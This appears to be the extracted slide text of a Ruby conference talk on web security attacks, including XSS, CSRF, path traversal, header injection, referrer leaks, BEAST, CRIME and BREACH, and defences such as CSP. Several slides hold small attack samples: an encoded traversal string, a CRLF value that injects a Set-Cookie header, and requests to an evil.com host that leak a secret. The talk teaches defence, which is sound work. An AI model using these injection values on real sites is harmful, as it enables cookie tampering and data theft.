Ancient City Ruby: Hack me, if you can!

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Hack Me, If You Can Konstantin Haase @konstantinhaase

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Welcome to St. Augustine, the oldest city in America

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Three Things I’m good at •History •Geography •Telling people they are wrong

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Settlement City Still Inhabited European European, Inhabited America Puerto Hormiga 4000 BC Caral 2627 BC Ticul 700 BC Eystribyggð 985 Santo Domingo 1498 North America Kaminaljuyu 1500 BC Kaminaljuyu 1500 BC Ticul 700 BC Eystribyggð 985 Santo Domingo 1498 Mexico, US, Canada Ticul 700 BC Ticul 700 BC Ticul 700 BC L’Anse aux Meadows 1003 Veracruz 1519 US Cahokia 650 Cahokia 650 Acoma Pueblo 1000 San Juan 1521 San Juan 1521 Continental US Cahokia 650 Cahokia 650 Acoma Pueblo 1000 Pensacola 1559 Pensacola 1559

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XSS Cross Site Scripting

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sanitize all user input

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Content-Security-Policy default-src ‘self';  script-src 'self' https://apis.google.com;  report-uri https://example.com/csp

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CSRF Cross Site Request Forgery

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Is this awesome, y/n?

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all requests include a session cookie

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embed URL as image

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1 2 PUT / 2 PUT / 2 Repeatable! :) State change! :( Deterministic! :) https://speakerdeck.com/rkh/we-dont-know-http

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“safe” HTTP methods should never change resource state

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submit a hidden form

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HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: csrf_token=XXX

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Path Traversal

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%2e%2e%2f

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Clickjacking

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X-Frame-Options

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Same Origin Policy

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VBScript CSRF

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JSON CSRF

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Session authenticated JSON endpoint

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https://github.com/rkh/json-csrf

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Referrer Leak

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[click here](http:// evil.com)

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GET / HTTP/1.1 Host: evil.com Referer: http://good.com/?secret=foo

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GET /?redirect_to=http://evil.com Host: good.com Referer: http://good.com/?secret=foo

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GET / HTTP/1.1 Host: evil.com Referer: http://good.com/?redirect_…

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HTTP/1.1 301 Moved Permanently Location: http://evil.com

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Header Injection

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HTTP/1.1 200 OK\n Header: Value\n Header: Value\n \n Body

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HTTP/1.1 200 OK\n Header: Val\rue\n Header: Value\n \n Body

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HTTP/1.1 200 OK\n Header: Val\r Injected: Value\n Header: Value\n \n Body

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HTTP/1.1 200 OK\n Header: Val\r\r ! Injected Body, OMG

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GET /?redirect_to=%0dSet-Cookie:x=1

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HTTP/1.1 301 Moved\n Location: \r Set-Cookie: x=1\n \n

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Capturing the Cookie

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BEAST Browser Exploit Against SSL/TLS

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decrypt SSL via injected plain text

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ﬁxed in TLS 1.1 (released in 2006)

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CRIME Compression Ratio Info-Leak Made Easy

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GET /?user=alice HTTP/1.1 Cookie: user=bob GET /?user=bob HTTP/1.1 Cookie: user=bob better compression

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BREACH Browser Reconnaissance and Exﬁltration via Adaptive Compression of Hypertext

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Browser

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Reconnaissance

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and Exﬁltration

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via Adaptive

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Compression

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of Hypertext

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inject something in the response http://www.recipetast.ic/search?q=XXX

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Can we trust the browser?

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Can we trust the browser plugins?

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Social Engineering

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So I hear you parse YAML?

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Do you keep all this in mind?

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Next attack around the corner?

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Thank you! ! @konstantinhaase